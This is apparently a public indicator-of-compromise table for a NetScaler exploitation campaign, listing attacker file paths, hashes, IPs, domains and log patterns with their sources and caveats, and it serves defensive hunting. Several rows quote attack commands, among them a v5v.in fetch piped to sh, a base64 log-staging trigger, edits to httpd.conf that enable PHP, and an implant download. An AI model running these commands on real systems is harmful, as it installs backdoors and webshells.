Public Citrix NetScaler IoCs (PitScaler)
This table only contains indicators that have been published openly. The Sharing column shows each source's own marking. [106][111][69][70]
- GreyNoise published its set on 28 September, marked TLP:CLEAR. GreyNoise has announced a longer "GreyNoise Labs" version, but the link on its blog was still a placeholder on 29 September.
- IFIN says the observables it shares were shared without restriction.
- Truesec's page is public and has no TLP marking.
- GTIG/Mandiant's blog is public and has no TLP marking. GTIG keeps its full IoC collection for registered GTI users only.
Indicators are not proof of compromise by themselves. Validate any hit against appliance logs, filesystem integrity, process history and configuration changes, following your incident-response procedure.
How to read these. Each indicator was observed by the source named in its row. None of them is a universal indicator for every victim. Beaumont reports that webshell names and attacker IPs are unique per victim. [120][124] An empty search result proves nothing.
Download all IoCs as CSV Firewall blocklist (188 IPs, annotated) Plain IP list Domain blocklist (pylrk.cc wildcard, annotated) Plain domain list
The blocklist contains only the IPv4 indicators whose own source data does not warn against blocking. It excludes Cloudflare WARP egress, shared commercial VPN exits, residential/ISP (CGNAT) addresses and a domain-parking IP — those are in the CSV with their caveats. IPs differ per victim; a blocklist is defence in depth, not a substitute for patching and compromise checks.
| Type | Exact value | Source | Context | Caveat | Sharing |
|---|---|---|---|---|---|
| File path | /nsconfig/.slap/ | Rapid7 [86] | Main framework directory of the intrusion Rapid7 investigated (19 Oct, updated 22 Oct) | First-hand IR observation, vendor-published. A missing directory does not rule out earlier execution or cleanup. | Public vendor blog |
| File path | /nsconfig/.relay/ | Rapid7 [86] | Relay implant directory (Rapid7) | First-hand IR observation. A missing directory does not rule out earlier execution or cleanup. | Public vendor blog |
| File path | /nsconfig/.slap/vc | Rapid7 [86] | Reconnaissance scanner binary - a stripped, statically linked FreeBSD Go tool that maps routes, DNS, LDAP/AD, management services and VMware vCenter from the compromised appliance (Rapid7) | First-hand IR observation; presence of the file is a compromise signal regardless of name. | Public vendor blog |
| File path | /nsconfig/.slap/vcscan-agent.sh | Rapid7 [86] | Reconnaissance scanner launcher (Rapid7): downloads and validates the scanner as scanner-freebsd-amd64, installs it as vc, runs broad RFC1918 scanning then management-focused scanning of DNS/LDAP-derived ranges, collects results into vcpersist-<token> files and uploads them | First-hand IR observation. Its result files (vcpersist-<token>_dns_candidates.tsv, _dns_ldap_verified.tsv, _vcenter_verified_all.txt) mean internal discovery ran from the appliance. | Public vendor blog |
| File path | /nsconfig/.slap/agent.pl | Rapid7 [86]; Google GTIG / Mandiant [70] | Perl TCP session manager and pivot agent (Rapid7): loopback listener on an ephemeral port recorded in /tmp/.uxdport, coordination via /tmp/.uxdlock, open/push/pull/exch/close operations accepting arbitrary destinations - turning the appliance into an internal TCP pivot | First-hand IR observation; the open/push/pull vocabulary matches the publicly reported SLAPSHOT tooling. | Public vendor blog |
| File path | /nsconfig/.slap/bridge.pl | Rapid7 [86] | Perl bridge script of the .slap framework (Rapid7) | First-hand IR observation. A missing file does not rule out earlier execution. | Public vendor blog |
| File path | /nsconfig/.slap/boot.sh | Rapid7 [86] | Boot persistence script of the .slap framework (Rapid7) | First-hand IR observation. Check /nsconfig/rc.netscaler and crontabs for references to it. | Public vendor blog |
| File path | /nsconfig/.slap/reverse-agent.sh | Rapid7 [86] | Outbound reverse command execution agent (Rapid7): polls an external command endpoint every 15 seconds, executes received commands with /bin/sh -c and returns output via HTTP PUT - command execution without any inbound connection to the appliance | First-hand IR observation. Hunt appliance-initiated periodic HTTP egress. | Public vendor blog |
| File path | /nsconfig/.relay/run.sh | Rapid7 [86] | Relay runner script (Rapid7) | First-hand IR observation. A missing file does not rule out earlier execution. | Public vendor blog |
| File path | /nsconfig/.relay/target_agent.py | Rapid7 [86] | Python relay agent script (Rapid7) | First-hand IR observation. A missing file does not rule out earlier execution. | Public vendor blog |
| File path | /flash/.nsvm/nsvmd | Rapid7 [86] | FreeBSD Go proxy agent binary (Rapid7): installed from v5v.in via a 2.sh/r.sh branch, run as nsvmd -server v5v.in:443 -sni c.v5v.in, marked immutable with chflags uchg | First-hand IR observation; a missing file does not rule out earlier execution. /flash survives upgrades. | Public vendor blog |
| File path | /flash/.nsvm/watchdog.sh | Rapid7 [86] | 45-second watchdog script for nsvmd (Rapid7) | First-hand IR observation. A frequent-execution watchdog is also visible as process churn. | Public vendor blog |
| File path | /flash/.nsvm/guard.sh | Rapid7 [86] | Cron persistence guard script (Rapid7, 5-minute cron) | First-hand IR observation. Check the root crontab for its schedule line. | Public vendor blog |
| File path | /flash/.nsvm/restart.sh | Rapid7 [86] | Daily restart script for the nsvmd branch (Rapid7) | First-hand IR observation. Check the root crontab for its schedule line. | Public vendor blog |
| File path | /flash/.nsvm/nsvmd.tmp | Rapid7 [86] | Temporary nsvmd binary path (Rapid7) | First-hand IR observation; transient by design, so absence proves nothing. | Public vendor blog |
| File path | /flash/.nsvm/.stop | Rapid7 [86] | Uninstall/upgrade control marker of the nsvmd branch (Rapid7) | First-hand IR observation; the operator uses it to stop the agent cleanly, so its presence alone is not proof of compromise. | Public vendor blog |
| File path | /flash/.nsvm/.agent.log and /flash/.nsvm/.wd.log | Rapid7 [86] | Agent and watchdog log files of the nsvmd branch (Rapid7) | First-hand IR observation. If present, preserve before any restart - they show what the agent executed. | Public vendor blog |
| File path | /var/tmp/.s2loot/ | Rapid7 [86]; Poppelgaard [75] | Loot staging directory (Rapid7). Already known from the SAML-attack kit per the Poppelgaard checker v1.10 - now vendor-confirmed from a real compromise | Now multi-source: community analysis plus first-hand Rapid7 IR. A hit means data was staged: preserve and inspect securely. | Public vendor blog |
| File path | /var/tmp/.ux/slapshot.py and /var/tmp/.ux/whipd.py | Rapid7 [86]; Poppelgaard [75]; Google GTIG / Mandiant [70] | Python HTTP tunnel/session manager and front-end components (Rapid7): accept base64 commands in an HTTP header and return tunnel responses in HTTP 404 bodies - behaviour overlapping the publicly reported WHIPSHOT/SLAPSHOT tooling | Now multi-source: community analysis (checker v1.10, ports 9909/9910) plus first-hand Rapid7 IR. | Public vendor blog |
| File path | /tmp/.uxdlock | Rapid7 [86]; Google GTIG / Mandiant [70] | Process coordination lock file of the Perl session manager (Rapid7); also listed by GTIG as a SLAPSHOT artefact | Now multi-source: GTIG plus first-hand Rapid7 IR. | Public vendor blog |
| File path | /tmp/.uxdport | Rapid7 [86]; Google GTIG / Mandiant [70] | Ephemeral loopback port recording file of the Perl session manager (Rapid7); also listed by GTIG as a SLAPSHOT artefact | Now multi-source: GTIG plus first-hand Rapid7 IR. Both files together are a strong pivot signal. | Public vendor blog |
| File path | /var/netscaler/logon/LogonPoint/custom/.slap.receiver, .ctxs.receiver and receiver.deb | Rapid7 [86]; GreyNoise blog [106] | The three cookie-authenticated PHP webshell copies installed into the LogonPoint custom web directory (Rapid7): commands supplied through a second cookie, results returned in HTTP 404 response bodies so successful command requests resemble missing resources | First-hand IR observation. Apache config was modified to execute .deb as PHP, enable PHP, and map /logon/LogonPoint/custom/receiver.v2.min.<hex>.css to .slap.receiver. Any *.receiver file in LogonPoint is a compromise signal. | Public vendor blog |
| File path | /nsconfig/.slap/.slap.receiver, .ctxs.receiver and receiver.deb | Rapid7 [86]; Poppelgaard [75] | Backup webshell copies held in the framework directory (Rapid7) - removing the LogonPoint copies does not clear the pair while these remain | First-hand IR observation. Hunt both locations plus the /etc/httpd.conf.slap.bak-style config backup the checker documents. | Public vendor blog |
| File name | vcpersist-<token>_dns_candidates.tsv, vcpersist-<token>_dns_ldap_verified.tsv, vcpersist-<token>_vcenter_verified_all.txt | Rapid7 [86] | Reconnaissance result files of the vc scanner launcher (Rapid7): route, DNS, LDAP/AD and vCenter mapping of the internal network from the compromised appliance, compressed and uploaded to the operator infrastructure | IR-derived filenames; the token varies per run. Their presence means internal discovery ran from the appliance. | Public vendor blog |
| Log string | sync HA files all / force HA failover | Rapid7 [86]; Binary Defense ARC Labs [79] | HA-manipulation commands embedded in the .slap framework (Rapid7): the implant synchronises its files to the HA peer and forces failover so the node holding the implant becomes active - patching or failing over one node does not evict it from the pair | First-hand IR observation. Corroborates Binary Defense's HA-sync analysis: both nodes of a pair are evidence sources. | Public vendor blog |
| IPv4 | 192.159.99.139 | Rapid7 [86] | .slap C2, relay, reverse-agent and loot-upload infrastructure per Rapid7's incident analysis | Vendor IR observation; attacker IPs can be unique to one victim. A hunting lead, not proof of targeting. | Public vendor blog |
| IPv4 | 209.74.64.192 | Rapid7 [86] | C2 used by the nsvmd FreeBSD proxy agent (Rapid7; agent run as nsvmd -server v5v.in:443 -sni c.v5v.in) | Vendor IR observation; correlate what your appliance connected to before attributing. | Public vendor blog |
| Domain | v5v.in | Rapid7 [86]; Poppelgaard [75] | C2 domain of the nsvmd FreeBSD Go proxy (Rapid7): the installer fetched https://v5v.in/r.sh?k=<token>|sh and the agent beacons to v5v.in:443 with SNI c.v5v.in. Already on this page from the 8 Oct overnight wave (checker v1.16, community report) - Rapid7's IR now ties the same domain to a confirmed compromise | Multi-source: a single community report is now corroborated by first-hand IR. Keep it blocked; hunt *.v5v.in in DNS logs rather than the apex alone. | Public vendor blog |
| IPv4 | 179.60.146.241 | Rapid7 [86] | IP serving 1.sh (Rapid7 stage infrastructure) | Vendor IR observation; attacker IPs can be unique to one victim. | Public vendor blog |
| IPv4 | 45.92.1.17 | Rapid7 [86] | Stage/loot infrastructure on port 30444 (Rapid7) | Vendor IR observation; a hunting lead, not proof of targeting. | Public vendor blog |
| IPv4 | 62.133.62.80 | Rapid7 [86]; eSentire TRU blog [99] | Payload delivery per Rapid7's network indicators - already on this page as the eSentire Cluster B Platypus stager host (curl -k http://62.133.62.80:80/xd7h/x). A second vendor observing it strengthens the picture | Multi-source (eSentire IR, Rapid7 IR). Keep it blocked. | Public vendor blog |
| IPv4 | 46.151.182.18 | Rapid7 [86] | Payload delivery (Rapid7 network indicators) | Vendor IR observation; attacker IPs can be unique to one victim. | Public vendor blog |
| IPv4 | 132.243.166.140 | Rapid7 [86] | Payload delivery (Rapid7 network indicators) | Vendor IR observation; a hunting lead, not proof of targeting. | Public vendor blog |
| SHA-256 | 6774bfed99da38cec82e721de4bd64a67db7840efadcc71e7df02eb6f0a03c44 | Rapid7 [86] | 1.sh - the later .slap dropper of the Rapid7 incident; added reverse-agent functionality, relay installation, HA recovery, stage tracking and structured upload logging relative to the earlier 17447d.sh | Vendor IR hash from one investigated appliance; operator rebuilds change hashes - match on behaviour too. | Public vendor blog |
| SHA-256 | a0ba4e1ad622d9c3d950b4156d4430812d05bee216ab22c3804a9f7a80535556 | Rapid7 [86] | 17447d.sh - the earlier .slap dropper version (Rapid7) | Vendor IR hash; the later 1.sh superseded it during the incident, showing an operationally maturing framework. | Public vendor blog |
| SHA-256 | 56a892d80096a9db4ca473a9c3109729c60a5ba901d6ba65948bdb1f4a6fb186 | Rapid7 [86] | 2.sh / r.sh - the nsvmd installer branch fetched from v5v.in (Rapid7) | Vendor IR hash; match on the fetch URL and the /flash/.nsvm paths as well. | Public vendor blog |
| SHA-256 | 8e8b9532ce40eacfe1b4cf2b11241878b70b910aabd90b453b1460df19b51a4d | Rapid7 [86] | scanner-freebsd-amd64 - the Go reconnaissance scanner downloaded by vcscan-agent.sh and installed as /nsconfig/.slap/vc (Rapid7): interface/route parsing, subnet expansion, DNS discovery and zone-transfer hunting, LDAP anonymous bind and RootDSE, management-service checks, TLS inspection and vCenter classification | Vendor IR hash of a stripped static FreeBSD Go binary. | Public vendor blog |
| SHA-256 | eaf0086237879bbaac00a5874c0e2ff84deede1ba10e6b706e2288fd3a31cdde | Rapid7 [86] | vc - the installed reconnaissance scanner binary in /nsconfig/.slap/ (Rapid7) | Vendor IR hash; presence of the file is a compromise signal regardless of name. | Public vendor blog |
| SHA-256 | ffe052fc50271e7739d458b155df790438776032bfd125b974735e1dd9c0b138 | Rapid7 [86] | nsvmd - the FreeBSD Go proxy agent binary installed under /flash/.nsvm/ (Rapid7) | Vendor IR hash; a missing file does not rule out earlier execution. | Public vendor blog |
| IPv4 | 173.255.247.97 | Rubrik Zero Labs [87] | Hosted ora23.sh at port 8001 and served as a rogue Redis replication endpoint for Platypus staging per Rubrik Zero Labs (15 Oct) - Oracle-to-Windows/AD and Redis/Asterisk deployment attempts reusing entretiensol[.]com infrastructure; NOT confirmed NetScaler initial access | Related-infrastructure bucket: Rubrik explicitly found no evidence these attacks exploited the NetScaler CVE. Hunt it as Platypus infrastructure, not as proof of a NetScaler entry point. | Public blog (subset; full IoC feed is RZL-customer-only) |
| SHA-256 | b360bed30f50108a59598015cbdd57df5a1fb8fe78bceddc8bae7a2c3388539e | Rubrik Zero Labs [87] | Redis/Asterisk attack script (Rubrik Zero Labs, 15 Oct): rogue Redis replication staging the Linux ARM Platypus agent as /tmp/system-health, triggered via a modified Asterisk dialplan and a crafted SIP INVITE | Related-infrastructure bucket: not NetScaler exploit artefacts. Rubrik publishes the full IoC feed only to RZL customers. | Public blog (subset) |
| SHA-256 | 2c84da0d342a895fcdfc3f8163810021e4197a3b40a7d77be074deea813ecb59 | Rubrik Zero Labs [87] | Redis/Asterisk attack script (Rubrik Zero Labs, 15 Oct) | Related-infrastructure bucket: not NetScaler exploit artefacts. | Public blog (subset) |
| SHA-256 | 4d30bd0c1e14bcdddf4ec36f4e4df7a8145538b621f4387b09e14561f048c3a1 | Rubrik Zero Labs [87] | Redis/Asterisk attack script (Rubrik Zero Labs, 15 Oct) | Related-infrastructure bucket: not NetScaler exploit artefacts. | Public blog (subset) |
| SHA-256 | 87458597fb83e148b2694ace1c8d539036d2be8a785a9bbd3f81801b4b3065c1 | Rubrik Zero Labs [87] | Redis/Asterisk attack script (Rubrik Zero Labs, 15 Oct) | Related-infrastructure bucket: not NetScaler exploit artefacts. | Public blog (subset) |
| SHA-256 | 1776c57791e267d9f9f6c2227494b9d870c6b346339b2edd7b82063f1c229452 | Rubrik Zero Labs [87] | Redis/Asterisk attack script (Rubrik Zero Labs, 15 Oct) | Related-infrastructure bucket: not NetScaler exploit artefacts. | Public blog (subset) |
| SHA-256 | f6df95310bf7a0885521e5add92dd37377267613561ed9d8ecc970f898cd9af0 | Rubrik Zero Labs [87] | Redis/Asterisk attack script (Rubrik Zero Labs, 15 Oct) | Related-infrastructure bucket: not NetScaler exploit artefacts. | Public blog (subset) |
| SHA-256 | 77c6eb03eef7a293f2250adefe0f125d6c63b045f5caa777689afedc77292488 | Rubrik Zero Labs [87] | Redis/Asterisk attack script (Rubrik Zero Labs, 15 Oct) | Related-infrastructure bucket: not NetScaler exploit artefacts. | Public blog (subset) |
| SHA-256 | 91239c1c8475c47dce78d3a32460713de02beb48a66fa71ba0f4155bdd9f5b15 | Rubrik Zero Labs [87] | Redis/Asterisk attack script (Rubrik Zero Labs, 15 Oct) | Related-infrastructure bucket: not NetScaler exploit artefacts. | Public blog (subset) |
| SHA-256 | b8f1fb6dec51eddf6bac46a4703d55c15a6e6f764c0b89ecf4857428c7a1cd7b | Rubrik Zero Labs [87] | Redis/Asterisk attack script (Rubrik Zero Labs, 15 Oct) | Related-infrastructure bucket: not NetScaler exploit artefacts. | Public blog (subset) |
| SHA-256 | 433429605f9eec575e4cfffd6a3c1d579b9f061ed3943fabb3429a97424365fd | Rubrik Zero Labs [87] | Redis/Asterisk attack script (Rubrik Zero Labs, 15 Oct) | Related-infrastructure bucket: not NetScaler exploit artefacts. | Public blog (subset) |
| SHA-256 | ac55ab8f8356a572ca9511f5e6740ea701fccb048086e7bbbcb1383a34534923 | Rubrik Zero Labs [87] | Redis/Asterisk attack script (Rubrik Zero Labs, 15 Oct) - the last of the eleven Redis/Asterisk hashes (twelve published in total including ora23.sh) | Related-infrastructure bucket: not NetScaler exploit artefacts. | Public blog (subset) |
| SHA-256 | cfc566841ccbd54340b2a1520b2c37d8a494bd8d4964e13738382e8887f0c986 | Rubrik Zero Labs [87] | ora23.sh - the Oracle attack script (Rubrik Zero Labs, 15 Oct): SQL*Plus with hardcoded credentials over TCP 31522, UTL_FILE staging of rt23o.ps1, an RTA23W SYSTEM scheduled task and SMB/WinRM lateral movement to a domain controller | Rubrik published 12 script hashes in total (one Oracle, eleven Redis/Asterisk - b360bed3..., 2c84da0d..., 4d30bd0c..., 87458597..., 1776c577..., f6df9531..., 77c6eb03..., 91239c1c..., b8f1fb6d..., 433429605f9eec575e4cfffd6a3c1d579b9f061ed3943fabb3429a97424365fd, ac55ab8f...). Related-infrastructure bucket: not NetScaler exploit artefacts. | Public blog (subset) |
| File name | RTA23W (scheduled task), rt23o.ps1, rt23s.bat, rt17w.bat, system-health.exe, health-monitor.exe, /tmp/system-health, rte_go.sh, /root/ovx_agent_arm | Rubrik Zero Labs [87]; Binary Defense ARC Labs [79] | Platypus deployment artefacts across the Rubrik-reported Oracle and Redis/Asterisk workflows: the Windows side masquerades as system-health utilities, the VoIP gateway side stages /tmp/system-health via rogue Redis replication and triggers it through a modified Asterisk dialplan and crafted SIP INVITE to extension 889 | Masquerade names overlap legitimate tooling and Binary Defense's Platypwned masquerade identities ("System Health Monitor", healthd) - check whether the file is an ELF/.NET binary before treating a name hit as compromise. Related-infrastructure bucket, not NetScaler-specific. | Public blog (subset) |
| Log pattern | User-Agent INDEX:<base64> on GETs to /logon/LogonPoint/tmindex.html, /logon/LogonPoint/index.html, /vpn/index.html, /logon/tmindex.html | Zscaler ThreatLabz [83]; CERT-EU [56]; Poppelgaard [75] | Stage-1 log staging per Zscaler ThreatLabz (16 Oct): the request is never executed - the base64 payload is only parked in the HTTP access log when the request is logged. A later trigger greps the logs for the INDEX: marker, decodes it and pipes it to sh. The captured sample staged a six-directory webshell/fingerprint drop (Nx_<n>.html/.php/.pl) plus php_engine and AddHandler cgi-script .pl enablement in /etc/httpd.conf | An INDEX: User-Agent alone means staging; execution evidence is the shell audit log showing the grep-and-run line. Same technique family as the tagged-User-Agent log reflection Lupovis documented (checker v1.15). CERT-EU separately flagged base64 User-Agent strings starting with INDEX: as early as 28 Sep. | Public blog, no TLP marking |
| HTTP request pattern | POST /nf/auth/doAuthentication.do or /cgi/login with forged "pitboss PPE missed too many heartbeats" or "pitboss PPE unexpectedly died" text plus appended grep INDEX: /var/log/htt* | sed ... | b64decode -r | sh | Zscaler ThreatLabz [83]; CERT-EU [56]; Unit 42 (Palo Alto Networks) [153] | Stage-2 trigger per Zscaler ThreatLabz (16 Oct): the forged Packet Processing Engine failure record is written to /var/log/ns.log, and when ns_monuploadd_err.pl later processes it, the appended command searches the HTTP access logs for the INDEX: marker, base64-decodes it and executes it. Several variants use ${IFS} instead of literal spaces. ThreatLabz notes the script selects the last matching record (per CERT-EU), which is why attackers re-send the trigger repeatedly | Zscaler telemetry observation; consistent with CERT-EU and Unit 42. A forged pitboss line in ns.log shows the attempt reached the logging path, not that the command ran. | Public blog, no TLP marking |
| File name | Nx_<number>.html / .php / .pl in /var/vpn/bookmark/, /netscaler/ns_gui/vpn/, /var/netscaler/gui/vpn/, /var/netscaler/logon/LogonPoint/, /var/vpn/theme/, /var/netscaler/gui/admin_ui/apex/ (captured example: Nx_7508.*) | Zscaler ThreatLabz [83] | Zscaler ThreatLabz (16 Oct): the staged INDEX: payload writes .html fingerprint files (Nx-zD|id|uname -a|hostname|nsrelease-or-ns.conf output), one-line PHP shells calling shell_exec on $_GET[0], and Perl CGI scripts that run a 0= query parameter through backticks, then chmod 755. The number after Nx_ varies per payload | Zscaler capture; the numeric suffix and directory set will vary between operators. Any Nx_-prefixed .php/.pl in those directories is a compromise signal regardless of the number. A missing file does not rule out earlier execution. | Public blog, no TLP marking |
| Config directive | sed -i 's/php_engine off/php_engine on/g' /etc/httpd.conf; echo 'AddHandler cgi-script .pl' >> /etc/httpd.conf; kill -HUP $(cat /var/run/httpd.pid) | Zscaler ThreatLabz [83]; watchTowr Intel [61]; eSentire TRU blog [99] | Zscaler ThreatLabz (16 Oct): the staged payload enables PHP and Perl CGI execution in the appliance Apache config and reloads httpd so the dropped .php and .pl shells actually run. Inline variants perform the same php_engine flip | The same php_engine and AddHandler changes were documented by watchTowr (SetHandler/StyleMin shells) and eSentire (nsgtrust.deb). Any change to /etc/httpd.conf that enables a scripting engine is a compromise signal; compare against a clean appliance on the same build. | Public blog, no TLP marking |
| Log string | grep INDEX: /var/log/htt* (with sed and b64decode -r piped to sh), typically inside a pitboss PPE line using ${IFS} | Zscaler ThreatLabz [83]; Poppelgaard [75] | The execution trigger that pairs with INDEX: staging, per Zscaler ThreatLabz (16 Oct): ns_monuploadd_err.pl or the admautoregd path runs it when it selects the forged record; the trigger extracts the staged base64 from the HTTP access logs and executes it | Zscaler observation. Hunt in shell audit logs (sh.log, bash.log) and in ns.log; the checker's "did it run?" logic distinguishes attacker lines from admin greps. | Public blog, no TLP marking |
| File path | /var/kw2s11 (kw2-freebsd-x64-s11 payload) | Zscaler ThreatLabz [83] | Zscaler ThreatLabz (16 Oct): an inline variant downloads a Rust-based 64-bit FreeBSD binary from http://209.141.43.95/files/kw2-freebsd-x64-s11 to /var/kw2s11, chmod +x and runs it, via fetch with ${IFS} separators in the injected username | Zscaler telemetry. A missing file does not rule out execution; /var survives upgrades. Hunt the filename and the download host together. | Public blog, no TLP marking |
| IPv4 | 209.141.43.95 | Zscaler ThreatLabz [83] | Payload download host per Zscaler ThreatLabz (16 Oct): served /files/kw2-freebsd-x64-s11 (Rust-based 64-bit FreeBSD implant, saved to /var/kw2s11 and executed). ThreatLabz identified the same server in activity exploiting StyleSmuggler (CVE-2026-75650) against Adobe Commerce and Magento - shared infrastructure across two platforms, an investigative lead, not attribution | Zscaler first-hand observation. WHOIS: PONYNET-04, FranTech Solutions (BuyVM), Cheyenne, Wyoming, US - shared hosting space also used for anonymity services; the host may serve unrelated content. Block as defence in depth; correlate what your appliance downloaded before attributing. | Public blog, no TLP marking |
| SHA-256 | kw2-freebsd-x64-s11 payload hash not published | Zscaler ThreatLabz [83] | Zscaler ThreatLabz (16 Oct) describe the kw2-freebsd-x64-s11 Rust-based FreeBSD implant and its download URL but do not publish a file hash in the blog; the URL and the /var/kw2s11 path are the hunting handles | Placeholder row so readers do not expect a hash: hunt the URL, the filename and the egress connection to 209.141.43.95, not a digest. | Public blog, no TLP marking |
| Network | Burst pattern: >=26 source IPs sending the same forged-pitboss + FreeBSD-downloader sequence within 6-7 minutes | Zscaler ThreatLabz [83] | Zscaler ThreatLabz (16 Oct) observed a coordinated burst where each source sent one poisoned login (pitboss PPE line) plus the kw2-freebsd-x64-s11 downloader - sprayed exploitation, not targeted work | Zscaler telemetry on its own sensors; the 26 IPs are not individually published. A similar tight-cluster burst in your logs is worth alerting on regardless of source list. | Public blog, no TLP marking |
| Network | TCP listener on port 37512 | watchTowr Intel [61]; watchTowr [105] | The trojanized Dropbear SSH 2025.88 backdoor binary (/var/walk or /usr/bin/walk) runs as an SSH server on tcp/37512 with a hardcoded password support1 (authenticates any account) and an embedded RSA-2048 key accepted before authorized_keys. watchTowr notes it only gives external access where ns.conf explicitly exposes the port on a Gateway/SSLVPN appliance | Hunt with netstat -an | grep -E 'LISTEN' | grep -E '\.37512'. The binary binds the port regardless, but it is not externally reachable unless the config exposes it. | Public blog and GitHub repository, no TLP marking |
| IPv4 | 45.153.212.101 | Zscaler ThreatLabz [83] | Zscaler ThreatLabz source IP (16 Oct IoC table): sent the staged CVE-2026-88771 exploitation chain. WHOIS: Arpinet LLC (Armenia), CGNAT pool | Zscaler observation on its own sensors. CGNAT address: traffic may come from any subscriber behind the pool; correlate before attributing. Not in this site's IPv4 edge blocklist. | Public blog, no TLP marking |
| IPv4 | 46.233.40.20 | Zscaler ThreatLabz [83] | Zscaler ThreatLabz source IP (16 Oct IoC table). WHOIS: AM NET OOD (Bulgaria) | Zscaler observation; attacker IPs can be unique to one victim. A hunting lead, not proof of targeting. | Public blog, no TLP marking |
| IPv4 | 46.236.167.143 | Zscaler ThreatLabz [83] | Zscaler ThreatLabz source IP (16 Oct IoC table). WHOIS: CJSC ER-Telecom Holding, Bryansk branch (Russia), consumer ISP | Zscaler observation. Consumer/ISP address: likely a compromised device or residential proxy; do not block on it. Not in this site's IPv4 edge blocklist. | Public blog, no TLP marking |
| IPv4 | 46.33.33.95 | Zscaler ThreatLabz [83] | Zscaler ThreatLabz source IP (16 Oct IoC table). WHOIS: TRK BlackSea (Ukraine) | Zscaler observation; attacker IPs can be unique to one victim. A hunting lead, not proof of targeting. | Public blog, no TLP marking |
| IPv4 | 49.150.197.119 | Zscaler ThreatLabz [83] | Zscaler ThreatLabz source IP (16 Oct IoC table). WHOIS: Philippine Long Distance Telephone (PLDT), residential DSL | Zscaler observation. Consumer/ISP address: likely a compromised device or residential proxy; do not block on it. Not in this site's IPv4 edge blocklist. | Public blog, no TLP marking |
| IPv4 | 78.190.152.64 | Zscaler ThreatLabz [83] | Zscaler ThreatLabz source IP (16 Oct IoC table). WHOIS: Turk Telekom, dynamic ADSL pool | Zscaler observation. Consumer/ISP dynamic address: likely a compromised device or residential proxy; do not block on it. Not in this site's IPv4 edge blocklist. | Public blog, no TLP marking |
| IPv4 | 81.10.79.197 | Zscaler ThreatLabz [83] | Zscaler ThreatLabz source IP (16 Oct IoC table). WHOIS: Tunisian Telecom / TOPNET space (non-RIPE-managed block) | Zscaler observation. Consumer/ISP address: likely a compromised device or residential proxy; do not block on it. Not in this site's IPv4 edge blocklist. | Public blog, no TLP marking |
| IPv4 | 95.105.74.172 | Zscaler ThreatLabz [83] | Zscaler ThreatLabz source IP (16 Oct IoC table). WHOIS: JSC Ufanet (Russia), consumer ISP | Zscaler observation. Consumer/ISP address: likely a compromised device or residential proxy; do not block on it. Not in this site's IPv4 edge blocklist. | Public blog, no TLP marking |
| IPv4 | 100.38.125.66 | Zscaler ThreatLabz [83] | Zscaler ThreatLabz source IP (16 Oct IoC table). WHOIS: Verizon Business (US) | Zscaler observation. Business/ISP address: likely a compromised host or residential proxy; do not block on it. Not in this site's IPv4 edge blocklist. | Public blog, no TLP marking |
| IPv4 | 102.213.132.123 | Zscaler ThreatLabz [83] | Zscaler ThreatLabz source IP (16 Oct IoC table). WHOIS: NET99 broadband allocation (ISP space) | Zscaler observation. Consumer/ISP address: likely a compromised device or CGNAT pool; do not block on it. Not in this site's IPv4 edge blocklist. | Public blog, no TLP marking |
| IPv4 | 102.222.146.45 | Zscaler ThreatLabz [83] | Zscaler ThreatLabz source IP (16 Oct IoC table). WHOIS: Tandaa National Network (Kenya), source NAT pool | Zscaler observation. CGNAT pool: traffic may come from any subscriber; correlate before attributing. Not in this site's IPv4 edge blocklist. | Public blog, no TLP marking |
| IPv4 | 103.181.212.245 | Zscaler ThreatLabz [83] | Zscaler ThreatLabz source IP (16 Oct IoC table). WHOIS: HOST ME INDIA | Zscaler observation; attacker IPs can be unique to one victim. A hunting lead, not proof of targeting. | Public blog, no TLP marking |
| IPv4 | 103.197.249.161 | Zscaler ThreatLabz [83] | Zscaler ThreatLabz source IP (16 Oct IoC table). WHOIS: EUROtelbd Online Ltd (Bangladesh) | Zscaler observation. Consumer/ISP address: likely a compromised device or CGNAT pool; do not block on it. Not in this site's IPv4 edge blocklist. | Public blog, no TLP marking |
| IPv4 | 103.83.146.100 | Zscaler ThreatLabz [83] | Zscaler ThreatLabz source IP (16 Oct IoC table). WHOIS: Airmail Network (AMN) | Zscaler observation; attacker IPs can be unique to one victim. A hunting lead, not proof of targeting. | Public blog, no TLP marking |
| IPv4 | 111.92.128.89 | Zscaler ThreatLabz [83] | Zscaler ThreatLabz source IP (16 Oct IoC table). WHOIS: SkyNet Multi Services (Pakistan) | Zscaler observation. Consumer/ISP address: likely a compromised device or CGNAT pool; do not block on it. Not in this site's IPv4 edge blocklist. | Public blog, no TLP marking |
| IPv4 | 114.145.49.215 | Zscaler ThreatLabz [83] | Zscaler ThreatLabz source IP (16 Oct IoC table). WHOIS: NTT DOCOMO BUSINESS / OCN (Japan) | Zscaler observation. Consumer/ISP address: likely a compromised device or residential proxy; do not block on it. Not in this site's IPv4 edge blocklist. | Public blog, no TLP marking |
| IPv4 | 120.244.160.182 | Zscaler ThreatLabz [83] | Zscaler ThreatLabz source IP (16 Oct IoC table). WHOIS: China Mobile (CMNET) | Zscaler observation. Consumer/ISP address: likely a compromised device or residential proxy; do not block on it. Not in this site's IPv4 edge blocklist. | Public blog, no TLP marking |
| IPv4 | 125.62.88.26 | Zscaler ThreatLabz [83] | Zscaler ThreatLabz source IP (16 Oct IoC table). WHOIS: Channeltek Enterprises (India) | Zscaler observation. Consumer/ISP address: likely a compromised device or CGNAT pool; do not block on it. Not in this site's IPv4 edge blocklist. | Public blog, no TLP marking |
| IPv4 | 154.183.158.198 | Zscaler ThreatLabz [83] | Zscaler ThreatLabz source IP (16 Oct IoC table). WHOIS: TE Data (Egypt), consumer ISP | Zscaler observation. Consumer/ISP address: likely a compromised device or residential proxy; do not block on it. Not in this site's IPv4 edge blocklist. | Public blog, no TLP marking |
| IPv4 | 154.241.254.9 | Zscaler ThreatLabz [83] | Zscaler ThreatLabz source IP (16 Oct IoC table). WHOIS: TE Data LTE-4G mobile pool (Egypt) | Zscaler observation. Mobile/CGNAT address: traffic may come from any subscriber; do not block on it. Not in this site's IPv4 edge blocklist. | Public blog, no TLP marking |
| IPv4 | 174.60.63.37 | Zscaler ThreatLabz [83] | Zscaler ThreatLabz source IP (16 Oct IoC table). WHOIS: Comcast Cable Communications (US) | Zscaler observation. Consumer/ISP address: likely a compromised device or residential proxy; do not block on it. Not in this site's IPv4 edge blocklist. | Public blog, no TLP marking |
| IPv4 | 177.52.203.23 | Zscaler ThreatLabz [83] | Zscaler ThreatLabz source IP (16 Oct IoC table). LACNIC allocation (Brazil) | Zscaler observation. Consumer/ISP-class address: likely a compromised device or residential proxy; do not block on it. Not in this site's IPv4 edge blocklist. | Public blog, no TLP marking |
